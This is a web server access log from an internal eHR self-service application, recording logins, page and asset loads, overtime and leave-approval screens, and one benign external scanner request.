100.64.0.1 - - [04/Sep/2025:08:39:28 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1D14CB89894C1446CA1AC9E311DCEE7D2D352C5B12CE44837B5AC89035E52867CC1E616E658FC426E38FEF34BD146B395DBCD221C66068B83 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [04/Sep/2025:08:39:28 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1D14CB89894C1446CA1AC9E311DCEE7D2D352C5B12CE44837B5AC89035E52867CC1E616E658FC426E38FEF34BD146B395DBCD221C66068B83 HTTP/1.1" 200 4166
100.64.0.1 - - [04/Sep/2025:08:39:28 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
100.64.0.1 - - [04/Sep/2025:08:39:28 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1D14CB89894C1446CA1AC9E311DCEE7D2D352C5B12CE44837B5AC89035E52867CC1E616E658FC426E38FEF34BD146B395DBCD221C66068B83" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/ess HTTP/1.1" 301 241
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.68 - - [04/Sep/2025:08:40:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.68 - - [04/Sep/2025:08:40:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.68 - - [04/Sep/2025:08:40:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [04/Sep/2025:08:40:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.68 - - [04/Sep/2025:08:40:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.68 - - [04/Sep/2025:08:40:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [04/Sep/2025:08:40:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.68 - - [04/Sep/2025:08:40:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:48 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:48 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.68 - - [04/Sep/2025:08:40:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [04/Sep/2025:08:40:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.68 - - [04/Sep/2025:08:40:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [04/Sep/2025:08:40:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:51 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.68 - - [04/Sep/2025:08:40:51 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.68 - - [04/Sep/2025:08:40:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:40:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [04/Sep/2025:08:40:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.127 - - [04/Sep/2025:08:41:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:41:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:41:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:41:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.11.68 - - [04/Sep/2025:08:41:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34863805529945957 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:41:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34863805529945957 HTTP/1.1" 200 8988
192.168.11.68 - - [04/Sep/2025:08:41:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34863805529945957 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34863805529945957" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:41:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34863805529945957 HTTP/1.1" 200 27500
100.64.0.1 - - [04/Sep/2025:08:42:01 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [04/Sep/2025:08:42:01 +0800] "GET / HTTP/1.1" 200 439
192.168.11.68 - - [04/Sep/2025:08:44:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4278 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:44:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4278
192.168.11.68 - - [04/Sep/2025:08:44:24 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.68 - - [04/Sep/2025:08:44:24 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:44:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [04/Sep/2025:08:44:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:44:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [04/Sep/2025:08:44:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
